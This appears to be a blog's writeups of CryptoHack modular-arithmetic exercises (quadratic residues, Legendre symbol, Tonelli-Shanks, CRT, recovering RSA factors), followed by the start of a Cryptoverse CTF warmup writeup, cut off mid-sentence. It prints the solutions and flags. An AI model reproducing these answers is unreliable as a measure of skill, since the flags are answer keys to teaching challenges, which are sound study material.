equivalent to d = 3^-1 mod 13, where ^ symbol is raised to the power of We can easily convert this into python equation using the pow function \u0026#39;\u0026#39;\u0026#39; print(pow(3, -1, 13)) Quadratic Residues We\u0026rsquo;ve looked at multiplication and division in modular arithmetic, but what does it mean to take the square root modulo an integer?\nFor the following discussion, let\u0026rsquo;s work modulo p = 29. We can take the integer a = 11 and calculate a^2 = 5 mod 29.\nAs a = 11, a^2 = 5, we say the square root of 5 is 11.\nThis feels good, but now let\u0026rsquo;s think about the square root of 18. From the above, we know we need to find some integer a such that a^2 = 18\nYour first idea might be to start with a = 1 and loop to a = p-1. In this discussion p isn\u0026rsquo;t too large and we can quickly look.\nHave a go, try coding this and see what you find. If you\u0026rsquo;ve coded it right, you\u0026rsquo;ll find that for all a ∈ Fp* you never find an a such that a^2 = 18.\nWhat we are seeing, is that for the elements of F*p, not every element has a square root. In fact, what we find is that for roughly one half of the elements of Fp*, there is no square root.\nIn other words, x is a quadratic residue when it is possible to take the square root of x modulo an integer p.\nIn the below list there are two non-quadratic residues and one quadratic residue.\nFind the quadratic residue and then calculate its square root. Of the two possible roots, submit the smaller one as the flag.\np = 29 ints = [14, 6, 11] Solution 1 2 3 4 5 p = 29 ints = [14, 6, 11] qr = [a for a in range(p-1) if pow(a,2,p) in ints] print(min(qr)) 8 Legendre Symbol In Quadratic Residues we learnt what it means to take the square root modulo an integer. We also saw that taking a root isn\u0026rsquo;t always possible.\nIn the previous case when p = 29, even the simplest method of calculating the square root was fast enough, but as p gets larger, this method becomes wildly unreasonable.\nLucky for us, we have a way to check whether an integer is a quadratic residue with a single calculation thanks to Legendre. In the following, we will assume we are working modulo a prime p.\nBefore looking at Legendre\u0026rsquo;s symbol, let\u0026rsquo;s take a brief detour to see an interesting property of quadratic (non-)residues.\nQuadratic Residue * Quadratic Residue = Quadratic Residue Quadratic Residue * Quadratic Non-residue = Quadratic Non-residue Quadratic Non-residue * Quadratic Non-residue = Quadratic Residue So what\u0026rsquo;s the trick? The Legendre Symbol gives an efficient way to determine whether an integer is a quadratic residue modulo an odd prime p.\nLegendre\u0026rsquo;s Symbol: (a / p) ≡ a^(p-1)/2 mod p obeys:\n(a / p) = 1 if a is a quadratic residue and a ≢ 0 mod p (a / p) = -1 if a is a quadratic non-residue mod p (a / p) = 0 if a ≡ 0 mod p Which means given any integer a, calculating pow(a,(p-1)/2,p) is enough to determine if a is a quadratic residue.\nNow for the flag. Given the following 1024 bit prime and 10 integers, find the quadratic residue and then calculate its square root; the square root is your flag. Of the two possible roots, submit the larger one as your answer.\nChallenge files:\noutput.txt file: output.txt\n1 2 3 p = 101524035174539890485408575671085261788758965189060164484385690801466167356667036677932998889725476582421738788500738738503134356158197247473850273565349249573867251280253564698939768700489401960767007716413932851838937641880157263936985954881657889497583485535527613578457628399173971810541670838543309159139 ints = [25081841204695904475894082974192007718642931811040324543182130088804239047149283334700530600468528298920930150221871666297194395061462592781551275161695411167049544771049769000895119729307495913024360169904315078028798025169985966732789207320203861858234048872508633514498384390497048416012928086480326832803, 45471765180330439060504647480621449634904192839383897212809808339619841633826534856109999027962620381874878086991125854247108359699799913776917227058286090426484548349388138935504299609200377899052716663351188664096302672712078508601311725863678223874157861163196340391008634419348573975841578359355931590555, 17364140182001694956465593533200623738590196990236340894554145562517924989208719245429557645254953527658049246737589538280332010533027062477684237933221198639948938784244510469138826808187365678322547992099715229218615475923754896960363138890331502811292427146595752813297603265829581292183917027983351121325, 14388109104985808487337749876058284426747816961971581447380608277949200244660381570568531129775053684256071819837294436069133592772543582735985855506250660938574234958754211349215293281645205354069970790155237033436065434572020652955666855773232074749487007626050323967496732359278657193580493324467258802863, 4379499308310772821004090447650785095356643590411706358119239166662089428685562719233435615196994728767593223519226235062647670077854687031681041462632566890129595506430188602238753450337691441293042716909901692570971955078924699306873191983953501093343423248482960643055943413031768521782634679536276233318, 85256449776780591202928235662805033201684571648990042997557084658000067050672130152734911919581661523957075992761662315262685030115255938352540032297113615687815976039390537716707854569980516690246592112936796917504034711418465442893323439490171095447109457355598873230115172636184525449905022174536414781771, 50576597458517451578431293746926099486388286246142012476814190030935689430726042810458344828563913001012415702876199708216875020997112089693759638454900092580746638631062117961876611545851157613835724635005253792316142379239047654392970415343694657580353333217547079551304961116837545648785312490665576832987, 96868738830341112368094632337476840272563704408573054404213766500407517251810212494515862176356916912627172280446141202661640191237336568731069327906100896178776245311689857997012187599140875912026589672629935267844696976980890380730867520071059572350667913710344648377601017758188404474812654737363275994871, 4881261656846638800623549662943393234361061827128610120046315649707078244180313661063004390750821317096754282796876479695558644108492317407662131441224257537276274962372021273583478509416358764706098471849536036184924640593888902859441388472856822541452041181244337124767666161645827145408781917658423571721, 18237936726367556664171427575475596460727369368246286138804284742124256700367133250078608537129877968287885457417957868580553371999414227484737603688992620953200143688061024092623556471053006464123205133894607923801371986027458274343737860395496260538663183193877539815179246700525865152165600985105257601565] Solution Tonelli–Shanks algorithm is used to find the square root of n mod p.\nNote: Tonelli-Shanks doesn\u0026rsquo;t work for composite (non-prime) moduli. Finding square roots modulo composites is computationally equivalent to integer factorization.\nSince p = 3 mod 4 is hinted to us, we can conclude: [ image source ] 1 2 3 4 5 6 p = 101524035174539890485408575671085261788758965189060164484385690801466167356667036677932998889725476582421738788500738738503134356158197247473850273565349249573867251280253564698939768700489401960767007716413932851838937641880157263936985954881657889497583485535527613578457628399173971810541670838543309159139 ints = [25081841204695904475894082974192007718642931811040324543182130088804239047149283334700530600468528298920930150221871666297194395061462592781551275161695411167049544771049769000895119729307495913024360169904315078028798025169985966732789207320203861858234048872508633514498384390497048416012928086480326832803, 45471765180330439060504647480621449634904192839383897212809808339619841633826534856109999027962620381874878086991125854247108359699799913776917227058286090426484548349388138935504299609200377899052716663351188664096302672712078508601311725863678223874157861163196340391008634419348573975841578359355931590555, 17364140182001694956465593533200623738590196990236340894554145562517924989208719245429557645254953527658049246737589538280332010533027062477684237933221198639948938784244510469138826808187365678322547992099715229218615475923754896960363138890331502811292427146595752813297603265829581292183917027983351121325, 14388109104985808487337749876058284426747816961971581447380608277949200244660381570568531129775053684256071819837294436069133592772543582735985855506250660938574234958754211349215293281645205354069970790155237033436065434572020652955666855773232074749487007626050323967496732359278657193580493324467258802863, 4379499308310772821004090447650785095356643590411706358119239166662089428685562719233435615196994728767593223519226235062647670077854687031681041462632566890129595506430188602238753450337691441293042716909901692570971955078924699306873191983953501093343423248482960643055943413031768521782634679536276233318, 85256449776780591202928235662805033201684571648990042997557084658000067050672130152734911919581661523957075992761662315262685030115255938352540032297113615687815976039390537716707854569980516690246592112936796917504034711418465442893323439490171095447109457355598873230115172636184525449905022174536414781771, 50576597458517451578431293746926099486388286246142012476814190030935689430726042810458344828563913001012415702876199708216875020997112089693759638454900092580746638631062117961876611545851157613835724635005253792316142379239047654392970415343694657580353333217547079551304961116837545648785312490665576832987, 96868738830341112368094632337476840272563704408573054404213766500407517251810212494515862176356916912627172280446141202661640191237336568731069327906100896178776245311689857997012187599140875912026589672629935267844696976980890380730867520071059572350667913710344648377601017758188404474812654737363275994871, 4881261656846638800623549662943393234361061827128610120046315649707078244180313661063004390750821317096754282796876479695558644108492317407662131441224257537276274962372021273583478509416358764706098471849536036184924640593888902859441388472856822541452041181244337124767666161645827145408781917658423571721, 18237936726367556664171427575475596460727369368246286138804284742124256700367133250078608537129877968287885457417957868580553371999414227484737603688992620953200143688061024092623556471053006464123205133894607923801371986027458274343737860395496260538663183193877539815179246700525865152165600985105257601565] qr = [a for a in ints if pow(a, (p-1)//2, p) == 1] print(max([pow(a,(p+1)//4,p) for a in qr])) 93291799125366706806545638475797430512104976066103610269938025709952247020061090804870186195285998727680200979853848718589126765742550855954805290253592144209552123062161458584575060939481368210688629862036958857604707468372384278049741369153506182660264876115428251983455344219194133033177700490981696141526 Modular Square Root In Legendre Symbol we introduced a fast way to determine whether a number is a square root modulo a prime. We can go further: there are algorithms for efficiently calculating such roots. The best one in practice is called Tonelli-Shanks, which gets its funny name from the fact that it was first described by an Italian in the 19th century and rediscovered independently by Daniel Shanks in the 1970s.\nAll primes that aren\u0026rsquo;t 2 are of the form p ≡ 1 mod 4 or p ≡ 3 mod 4, since all odd numbers obey these congruences. As the previous challenge hinted, in the p ≡ 3 mod 4 case, a really simple formula for computing square roots can be derived directly from Fermat\u0026rsquo;s little theorem. That leaves us still with the p ≡ 1 mod 4 case, so a more general algorithm is required.\nIn a congruence of the form r2 ≡ a mod p, Tonelli-Shanks calculates r.\nThe main use-case for this algorithm is finding elliptic curve co-ordinates. Its operation is somewhat complex so we\u0026rsquo;re not going to discuss the details, however, implementations are easy to find and Sage has one built-in.\nFind the square root of a modulo the 2048-bit prime p. Give the smaller of the two roots as your answer.\nChallenge files:\noutput.txt file: output.txt\n1 2 a = 8479994658316772151941616510097127087554541274812435112009425778595495359700244470400642403747058566807127814165396640215844192327900454116257979487432016769329970767046735091249898678088061634796559556704959846424131820416048436501387617211770124292793308079214153179977624440438616958575058361193975686620046439877308339989295604537867493683872778843921771307305602776398786978353866231661453376056771972069776398999013769588936194859344941268223184197231368887060609212875507518936172060702209557124430477137421847130682601666968691651447236917018634902407704797328509461854842432015009878011354022108661461024768 p = 30531851861994333252675935111487950694414332763909083514133769861350960895076504687261369815735742549428789138300843082086550059082835141454526618160634109969195486322015775943030060449557090064811940139431735209185996454739163555910726493597222646855506445602953689527405362207926990442391705014604777038685880527537489845359101552442292804398472642356609304810680731556542002301547846635101455995732584071355903010856718680732337369128498655255277003643669031694516851390505923416710601212618443109844041514942401969629158975457079026906304328749039997262960301209158175920051890620947063936347307238412281568760161 Solution 1 2 3 4 from sage.all import * a = 8479994658316772151941616510097127087554541274812435112009425778595495359700244470400642403747058566807127814165396640215844192327900454116257979487432016769329970767046735091249898678088061634796559556704959846424131820416048436501387617211770124292793308079214153179977624440438616958575058361193975686620046439877308339989295604537867493683872778843921771307305602776398786978353866231661453376056771972069776398999013769588936194859344941268223184197231368887060609212875507518936172060702209557124430477137421847130682601666968691651447236917018634902407704797328509461854842432015009878011354022108661461024768 p = 30531851861994333252675935111487950694414332763909083514133769861350960895076504687261369815735742549428789138300843082086550059082835141454526618160634109969195486322015775943030060449557090064811940139431735209185996454739163555910726493597222646855506445602953689527405362207926990442391705014604777038685880527537489845359101552442292804398472642356609304810680731556542002301547846635101455995732584071355903010856718680732337369128498655255277003643669031694516851390505923416710601212618443109844041514942401969629158975457079026906304328749039997262960301209158175920051890620947063936347307238412281568760161 print(mod(a,p).sqrt()) 2362339307683048638327773298580489298932137505520500388338271052053734747862351779647314176817953359071871560041125289919247146074907151612762640868199621186559522068338032600991311882224016021222672243139362180461232646732465848840425458257930887856583379600967761738596782877851318489355679822813155123045705285112099448146426755110160002515592418850432103641815811071548456284263507805589445073657565381850521367969675699760755310784623577076440037747681760302434924932113640061738777601194622244192758024180853916244427254065441962557282572849162772740798989647948645207349737457445440405057156897508368531939120 Chinese Remainder Theorem The Chinese Remainder Theorem gives a unique solution to a set of linear congruences if their moduli are coprime.\nThis means, that given a set of arbitrary integers ai, and pairwise coprime integers ni, such that the following linear congruences hold:\nx ≡ a1 mod n1 x ≡ a2 mod n2 ... x ≡ an mod nn There is a unique solution x ≡ a mod N where N = n1 * n2 * ... * nn.\nIn cryptography, we commonly use the Chinese Remainder Theorem to help us reduce a problem of very large integers into a set of several, easier problems.\nGiven the following set of linear congruences:\nx ≡ 2 mod 5 x ≡ 3 mod 11 x ≡ 5 mod 17 Find the integer a such that x ≡ a mod 935\nSolution Watched this video to understand the process of crt.\n1 2 from sage.all import * print(crt([2,3,5], [5,11,17])) 872 Alternate solution(s):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # source: CryptoHack user @Hon \u0026#39;\u0026#39;\u0026#39; Looking at Chinese Remainder Theorem... Taken x = a1 (mod n1) x = a2 (mod n2) x = a3 (mod n3) With gcd(n1,n2) = gcd(n1,n3) = gcd(n2,n3) = 1 -All the n-values are coprime with the others We have N = n1*n2*n3 and N1 = n2*n3 N2 = n1*n3 N3 = n1*n2 Summaring, the Ni values are composed multiplying all the n-values each others, except n at position i Ending, we call yi the solutions of Ni*yi = 1 (mod ni) Ex: N1 * y1 = 1 (mod n1) Now, we have to find the value of integer a such that: x = a (mod N) Knowing also that: x = a1N1y1 + a2N2y2 + a3N3y3 (mod N) Easy, no? \u0026#39;\u0026#39;\u0026#39; # x = 2 mod 5 # x = 3 mod 11 # x = 5 mod 17 # x = a mod 935 length = 3 a = [2,3,5] n = [5,11,17] Ntot= n[0] * n[1] * n[2] N = [ n[1]*n[2] , n[0]*n[2], n[0]*n[1] ] y = [pow(N[i],n[i]-2,n[i]) for i in range(length)] mysterious_a = 0 for i in range(length): mysterious_a += a[i]*N[i]*y[i] mysterious_a %= Ntot print(mysterious_a) Adrien\u0026rsquo;s Signs Adrien\u0026rsquo;s been looking at ways to encrypt his messages with the help of symbols and minus signs. Can you find a way to recover the flag?\nChallenge files:\nsource.py output.txt file: source.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from random import randint a = 288260533169915 p = 1007621497415251 FLAG = b\u0026#39;crypto{????????????????????}\u0026#39; def encrypt_flag(flag): ciphertext = [] plaintext = \u0026#39;\u0026#39;.join([bin(i)[2:].zfill(8) for i in flag]) for b in plaintext: e = randint(1, p) n = pow(a, e, p) if b == \u0026#39;1\u0026#39;: ciphertext.append(n) else: n = -n % p ciphertext.append(n) return ciphertext print(encrypt_flag(FLAG)) file: output.txt\n1 [67594220461269, 501237540280788, 718316769824518, 296304224247167, 48290626940198, 30829701196032, 521453693392074, 840985324383794, 770420008897119, 745131486581197, 729163531979577, 334563813238599, 289746215495432, 538664937794468, 894085795317163, 983410189487558, 863330928724430, 996272871140947, 352175210511707, 306237700811584, 631393408838583, 589243747914057, 538776819034934, 365364592128161, 454970171810424, 986711310037393, 657756453404881, 388329936724352, 90991447679370, 714742162831112, 62293519842555, 653941126489711, 448552658212336, 970169071154259, 339472870407614, 406225588145372, 205721593331090, 926225022409823, 904451547059845, 789074084078342, 886420071481685, 796827329208633, 433047156347276, 21271315846750, 719248860593631, 534059295222748, 879864647580512, 918055794962142, 635545050939893, 319549343320339, 93008646178282, 926080110625306, 385476640825005, 483740420173050, 866208659796189, 883359067574584, 913405110264883, 898864873510337, 208598541987988, 23412800024088, 911541450703474, 57446699305445, 513296484586451, 180356843554043, 756391301483653, 823695939808936, 452898981558365, 383286682802447, 381394258915860, 385482809649632, 357950424436020, 212891024562585, 906036654538589, 706766032862393, 500658491083279, 134746243085697, 240386541491998, 850341345692155, 826490944132718, 329513332018620, 41046816597282, 396581286424992, 488863267297267, 92023040998362, 529684488438507, 925328511390026, 524897846090435, 413156582909097, 840524616502482, 325719016994120, 402494835113608, 145033960690364, 43932113323388, 683561775499473, 434510534220939, 92584300328516, 763767269974656, 289837041593468, 11468527450938, 628247946152943, 8844724571683, 813851806959975, 72001988637120, 875394575395153, 70667866716476, 75304931994100, 226809172374264, 767059176444181, 45462007920789, 472607315695803, 325973946551448, 64200767729194, 534886246409921, 950408390792175, 492288777130394, 226746605380806, 944479111810431, 776057001143579, 658971626589122, 231918349590349, 699710172246548, 122457405264610, 643115611310737, 999072890586878, 203230862786955, 348112034218733, 240143417330886, 927148962961842, 661569511006072, 190334725550806, 763365444730995, 516228913786395, 846501182194443, 741210200995504, 511935604454925, 687689993302203, 631038090127480, 961606522916414, 138550017953034, 932105540686829, 215285284639233, 772628158955819, 496858298527292, 730971468815108, 896733219370353, 967083685727881, 607660822695530, 650953466617730, 133773994258132, 623283311953090, 436380836970128, 237114930094468, 115451711811481, 674593269112948, 140400921371770, 659335660634071, 536749311958781, 854645598266824, 303305169095255, 91430489108219, 573739385205188, 400604977158702, 728593782212529, 807432219147040, 893541884126828, 183964371201281, 422680633277230, 218817645778789, 313025293025224, 657253930848472, 747562211812373, 83456701182914, 470417289614736, 641146659305859, 468130225316006, 46960547227850, 875638267674897, 662661765336441, 186533085001285, 743250648436106, 451414956181714, 527954145201673, 922589993405001, 242119479617901, 865476357142231, 988987578447349, 430198555146088, 477890180119931, 844464003254807, 503374203275928, 775374254241792, 346653210679737, 789242808338116, 48503976498612, 604300186163323, 475930096252359, 860836853339514, 994513691290102, 591343659366796, 944852018048514, 82396968629164, 152776642436549, 916070996204621, 305574094667054, 981194179562189, 126174175810273, 55636640522694, 44670495393401, 74724541586529, 988608465654705, 870533906709633, 374564052429787, 486493568142979, 469485372072295, 221153171135022, 289713227465073, 952450431038075, 107298466441025, 938262809228861, 253919870663003, 835790485199226, 655456538877798, 595464842927075, 191621819564547] Solution First hint to the problem is the title: Adrien's Signs. The Legendre symbol was introduced by Adrien-Marie Legendre, so it would seem wise to use it here. Let\u0026rsquo;s look more into the code to see what\u0026rsquo;s going on.\nBasically, the byte letters of the plaintext flag are each converted to 8 bits (with padding of zeros). These are then joined together to make a large string of bits. For every bit, a**randit(1,p) % p is done to create n. If the bit happens to be 1, n is appended to the ciphertext list – otherwise n = -n % p occurs before appending n to the list.\nSo, we just need to determine whether the value is a 0 or 1 for each bit of information.\nFirst, we ensure a is indeed prime.\nThen, we check to make sure that (a / p) = 1 by the Legendre symbol to prove a is quadratic residue of mod p. Since this is the case, all encrypted values that are also quadratic residues of mod p will leak the value 1 back to us. In the case of the bit being 0, -n mod p = a^e mod p which becomes n = -a^e or (-1/p):\n[ image source ] Therefore, when encrypted values are non-quadratic residue, it is a 0 bit.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import long_to_bytes a = 288260533169915 p = 1007621497415251 enc = [67594220461269, 501237540280788, 718316769824518, 296304224247167, 48290626940198, 30829701196032, 521453693392074, 840985324383794, 770420008897119, 745131486581197, 729163531979577, 334563813238599, 289746215495432, 538664937794468, 894085795317163, 983410189487558, 863330928724430, 996272871140947, 352175210511707, 306237700811584, 631393408838583, 589243747914057, 538776819034934, 365364592128161, 454970171810424, 986711310037393, 657756453404881, 388329936724352, 90991447679370, 714742162831112, 62293519842555, 653941126489711, 448552658212336, 970169071154259, 339472870407614, 406225588145372, 205721593331090, 926225022409823, 904451547059845, 789074084078342, 886420071481685, 796827329208633, 433047156347276, 21271315846750, 719248860593631, 534059295222748, 879864647580512, 918055794962142, 635545050939893, 319549343320339, 93008646178282, 926080110625306, 385476640825005, 483740420173050, 866208659796189, 883359067574584, 913405110264883, 898864873510337, 208598541987988, 23412800024088, 911541450703474, 57446699305445, 513296484586451, 180356843554043, 756391301483653, 823695939808936, 452898981558365, 383286682802447, 381394258915860, 385482809649632, 357950424436020, 212891024562585, 906036654538589, 706766032862393, 500658491083279, 134746243085697, 240386541491998, 850341345692155, 826490944132718, 329513332018620, 41046816597282, 396581286424992, 488863267297267, 92023040998362, 529684488438507, 925328511390026, 524897846090435, 413156582909097, 840524616502482, 325719016994120, 402494835113608, 145033960690364, 43932113323388, 683561775499473, 434510534220939, 92584300328516, 763767269974656, 289837041593468, 11468527450938, 628247946152943, 8844724571683, 813851806959975, 72001988637120, 875394575395153, 70667866716476, 75304931994100, 226809172374264, 767059176444181, 45462007920789, 472607315695803, 325973946551448, 64200767729194, 534886246409921, 950408390792175, 492288777130394, 226746605380806, 944479111810431, 776057001143579, 658971626589122, 231918349590349, 699710172246548, 122457405264610, 643115611310737, 999072890586878, 203230862786955, 348112034218733, 240143417330886, 927148962961842, 661569511006072, 190334725550806, 763365444730995, 516228913786395, 846501182194443, 741210200995504, 511935604454925, 687689993302203, 631038090127480, 961606522916414, 138550017953034, 932105540686829, 215285284639233, 772628158955819, 496858298527292, 730971468815108, 896733219370353, 967083685727881, 607660822695530, 650953466617730, 133773994258132, 623283311953090, 436380836970128, 237114930094468, 115451711811481, 674593269112948, 140400921371770, 659335660634071, 536749311958781, 854645598266824, 303305169095255, 91430489108219, 573739385205188, 400604977158702, 728593782212529, 807432219147040, 893541884126828, 183964371201281, 422680633277230, 218817645778789, 313025293025224, 657253930848472, 747562211812373, 83456701182914, 470417289614736, 641146659305859, 468130225316006, 46960547227850, 875638267674897, 662661765336441, 186533085001285, 743250648436106, 451414956181714, 527954145201673, 922589993405001, 242119479617901, 865476357142231, 988987578447349, 430198555146088, 477890180119931, 844464003254807, 503374203275928, 775374254241792, 346653210679737, 789242808338116, 48503976498612, 604300186163323, 475930096252359, 860836853339514, 994513691290102, 591343659366796, 944852018048514, 82396968629164, 152776642436549, 916070996204621, 305574094667054, 981194179562189, 126174175810273, 55636640522694, 44670495393401, 74724541586529, 988608465654705, 870533906709633, 374564052429787, 486493568142979, 469485372072295, 221153171135022, 289713227465073, 952450431038075, 107298466441025, 938262809228861, 253919870663003, 835790485199226, 655456538877798, 595464842927075, 191621819564547] # Check if prime is of the form p ≡ 3 mod 4 (not p ≡ 1 mod 4) # pow(a, (p-1)//2, p) == kronecker(a,p) assert kronecker(a, p) == 1 pt_bits = \u0026#39;0b\u0026#39; for x in enc: # pow(x, (p-1)//2, p) == kronecker(x,p) qr = kronecker(x, p) if qr == 1: pt_bits += \u0026#39;1\u0026#39; else: # qr == p-1 =\u0026gt; 1007621497415250 pt_bits += \u0026#39;0\u0026#39; pt_int = int(pt_bits,2) print(long_to_bytes(pt_int)) b\u0026#39;crypto{p4tterns_1n_re5idu3s}\u0026#39; Modular Binomials Rearrange the following equations to get the primes p,q\nN = p*q c1 = (2*p + 3*q)**e1 mod N c2 = (5*p + 7*q)**e2 mod N Challenge files:\ndata.txt file: data.txt\n1 2 3 4 5 N = 14905562257842714057932724129575002825405393502650869767115942606408600343380327866258982402447992564988466588305174271674657844352454543958847568190372446723549627752274442789184236490768272313187410077124234699854724907039770193680822495470532218905083459730998003622926152590597710213127952141056029516116785229504645179830037937222022291571738973603920664929150436463632305664687903244972880062028301085749434688159905768052041207513149370212313943117665914802379158613359049957688563885391972151218676545972118494969247440489763431359679770422939441710783575668679693678435669541781490217731619224470152467768073 e1 = 12886657667389660800780796462970504910193928992888518978200029826975978624718627799215564700096007849924866627154987365059524315097631111242449314835868137 e2 = 12110586673991788415780355139635579057920926864887110308343229256046868242179445444897790171351302575188607117081580121488253540215781625598048021161675697 c1 = 14010729418703228234352465883041270611113735889838753433295478495763409056136734155612156934673988344882629541204985909650433819205298939877837314145082403528055884752079219150739849992921393509593620449489882380176216648401057401569934043087087362272303101549800941212057354903559653373299153430753882035233354304783275982332995766778499425529570008008029401325668301144188970480975565215953953985078281395545902102245755862663621187438677596628109967066418993851632543137353041712721919291521767262678140115188735994447949166616101182806820741928292882642234238450207472914232596747755261325098225968268926580993051 c2 = 14386997138637978860748278986945098648507142864584111124202580365103793165811666987664851210230009375267398957979494066880296418013345006977654742303441030008490816239306394492168516278328851513359596253775965916326353050138738183351643338294802012193721879700283088378587949921991198231956871429805847767716137817313612304833733918657887480468724409753522369325138502059408241232155633806496752350562284794715321835226991147547651155287812485862794935695241612676255374480132722940682140395725089329445356434489384831036205387293760789976615210310436732813848937666608611803196199865435145094486231635966885932646519 Solution Unintended solution is factordb!\np = 112274000169258486390262064441991200608556376127408952701514962644340921899196091557519382763356534106376906489445103255177593594898966250176773605432765983897105047795619470659157057093771407309168345670541418772427807148039207489900810013783673957984006269120652134007689272484517805398390277308001719431273 q = 132760587806365301971479157072031448380135765794466787456948786731168095877956875295282661565488242190731593282663694728914945967253173047324353981530949360031535707374701705328450856944598803228299967009004598984671293494375599408764139743217465012770376728876547958852025425539298410751132782632817947101601 Alternate solution(s):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # source: CryptoHack user @diksown from fractions import gcd N = 14905562257842714057932724129575002825405393502650869767115942606408600343380327866258982402447992564988466588305174271674657844352454543958847568190372446723549627752274442789184236490768272313187410077124234699854724907039770193680822495470532218905083459730998003622926152590597710213127952141056029516116785229504645179830037937222022291571738973603920664929150436463632305664687903244972880062028301085749434688159905768052041207513149370212313943117665914802379158613359049957688563885391972151218676545972118494969247440489763431359679770422939441710783575668679693678435669541781490217731619224470152467768073 e1 = 12886657667389660800780796462970504910193928992888518978200029826975978624718627799215564700096007849924866627154987365059524315097631111242449314835868137 e2 = 12110586673991788415780355139635579057920926864887110308343229256046868242179445444897790171351302575188607117081580121488253540215781625598048021161675697 c1 = 14010729418703228234352465883041270611113735889838753433295478495763409056136734155612156934673988344882629541204985909650433819205298939877837314145082403528055884752079219150739849992921393509593620449489882380176216648401057401569934043087087362272303101549800941212057354903559653373299153430753882035233354304783275982332995766778499425529570008008029401325668301144188970480975565215953953985078281395545902102245755862663621187438677596628109967066418993851632543137353041712721919291521767262678140115188735994447949166616101182806820741928292882642234238450207472914232596747755261325098225968268926580993051 c2 = 14386997138637978860748278986945098648507142864584111124202580365103793165811666987664851210230009375267398957979494066880296418013345006977654742303441030008490816239306394492168516278328851513359596253775965916326353050138738183351643338294802012193721879700283088378587949921991198231956871429805847767716137817313612304833733918657887480468724409753522369325138502059408241232155633806496752350562284794715321835226991147547651155287812485862794935695241612676255374480132722940682140395725089329445356434489384831036205387293760789976615210310436732813848937666608611803196199865435145094486231635966885932646519 #N = p*q #c1 = (2*p + 3*q)**e1 mod /N #c2 = (5*p + 7*q)**e2 mod N #c1^e2 = (2*p + 3*q)**(e1*e2) mod N #c2^e1 = (5*p + 7*q)**(e1*e2) mod N #f1 = 5^e1*e2 * c1^e2 = (10*p + 15*q)**(e1*e2) mod N #f2 = 2^e1*e2 * c2^e1 = (10*p + 14*q)**(e1*e2) mod N #f1 mod q = f2 mod q =\u0026gt; f1-f2 = 0 mod q f1 = pow(5, e1*e2, N) * pow(c1, e2, N) f2 = pow(2, e1*e2, N) * pow(c2, e1, N) q = abs(gcd(N, f1-f2)) p = N//q print(N, p, q, N-p*q, sep=\u0026#39;\\n\u0026#39;) [ image source: CryptoHack user @exp101t ] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from math import gcd n = 14905562257842714057932724129575002825405393502650869767115942606408600343380327866258982402447992564988466588305174271674657844352454543958847568190372446723549627752274442789184236490768272313187410077124234699854724907039770193680822495470532218905083459730998003622926152590597710213127952141056029516116785229504645179830037937222022291571738973603920664929150436463632305664687903244972880062028301085749434688159905768052041207513149370212313943117665914802379158613359049957688563885391972151218676545972118494969247440489763431359679770422939441710783575668679693678435669541781490217731619224470152467768073 e1 = 12886657667389660800780796462970504910193928992888518978200029826975978624718627799215564700096007849924866627154987365059524315097631111242449314835868137 e2 = 12110586673991788415780355139635579057920926864887110308343229256046868242179445444897790171351302575188607117081580121488253540215781625598048021161675697 c1 = 14010729418703228234352465883041270611113735889838753433295478495763409056136734155612156934673988344882629541204985909650433819205298939877837314145082403528055884752079219150739849992921393509593620449489882380176216648401057401569934043087087362272303101549800941212057354903559653373299153430753882035233354304783275982332995766778499425529570008008029401325668301144188970480975565215953953985078281395545902102245755862663621187438677596628109967066418993851632543137353041712721919291521767262678140115188735994447949166616101182806820741928292882642234238450207472914232596747755261325098225968268926580993051 c2 = 14386997138637978860748278986945098648507142864584111124202580365103793165811666987664851210230009375267398957979494066880296418013345006977654742303441030008490816239306394492168516278328851513359596253775965916326353050138738183351643338294802012193721879700283088378587949921991198231956871429805847767716137817313612304833733918657887480468724409753522369325138502059408241232155633806496752350562284794715321835226991147547651155287812485862794935695241612676255374480132722940682140395725089329445356434489384831036205387293760789976615210310436732813848937666608611803196199865435145094486231635966885932646519 q1 = pow(c1, e2, n) q2 = pow(c2, e1, n) d = pow(5, e1 * e2, n) * q1 - pow(2, e1 * e2, n) * q2 q = gcd(d, n) p = n // q assert(p * q == n) ","permalink":"https://woadey.github.io/posts/cryptohack/modular_arithmetic/","summary":"Writeups for CryptoHack\u0026rsquo;s \u003ca href=\"https://cryptohack.org/courses/modular/course_details/\"\n title=\"Modular Arithmetic Course\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eModular Arithmetic Course\u003c/a\u003e","title":"CryptoHack Writeup: Modular Arithmetic"},{"content":"This past weekend, I joined Shellphish for a last minute CTF called Cryptoverse\nWhile I\u0026rsquo;m still a crypto n00b, I spent a few hours gathering some flags for the team.\nCrypto Warmup 1 293 solves / 107 points Decode the following ciphertext: cGlwZ3N7cG5yZm5lXzY0X3Nnan0=.\nRemember: CyberChef is your friend.\nThe ciphertext for this challenge had the distinct appearance of base64. The output format was correct, perhaps a simple rotation cipher such as ROT13 will help. This gets us our flag.\nflag: cvctf{caesar_64_ftw}\nWarmup 2 274 solves / 113 points First described by Giovan Battista Bellaso in 1553, this cipher is easy to understand and implement, but it resisted all attempts to break it until 1863, three centuries later.\nRemember: The Key to success is determination.\nfzvxw{hqtegmfr_lw_msf_scrslg_kvwlhyk_fpr_kxg?}\nIf the given key and flag didn\u0026rsquo;t give it away, a quick search could tell you this is likely a Vigenère cipher.\nThrow that in CyberChef and get the flag.\nflag: cvctf{vigenere_is_too_guessy_without_the_key?}\nWarmup 3 313 solves / 102 points You should recognize this instantly.\n-.-. \u0026hellip;- -.-. - ..-. \u0026ndash; \u0026mdash;\u0026ndash; .-. \u0026hellip;.. \u0026hellip;\u0026ndash; .. \u0026hellip; -. \u0026mdash;\u0026ndash; - \u0026hellip;.. \u0026mdash;\u0026ndash; ..-. ..- -.\nNote: Add { and } around the flag. Flag is all lower case.\nDots and dashes scream Morse code. dcode.fr is a great tool for all things decoding, including morse code.\nflag: cvctf{m0r53isn0tfun}\nWarmup 4 73 solves / 387 points Last warmup. You should get it fast if you use any social media.\nＩn sｃｉencｅ fіctіοｎ ｍetａνerse ｉs ｉtｅrａtiｏｎоf the Iｎternｅｔ as a sⅰｎgｌe, 